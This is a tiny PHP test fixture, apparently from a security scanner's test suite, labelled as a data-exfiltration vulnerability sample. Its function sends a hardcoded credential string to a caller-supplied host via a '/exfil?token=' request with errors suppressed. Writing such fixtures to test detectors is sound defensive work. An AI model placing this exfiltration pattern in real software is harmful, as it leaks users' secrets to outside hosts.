nyx/tests/dynamic_fixtures/data_exfil/php/vuln.php

7 lines
215 B
PHP

<?php
// Phase 11 (Track J.9) — PHP DATA_EXFIL vuln fixture.
function run($host) {
$secret = "alice-creds";
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
@file_get_contents($url);
}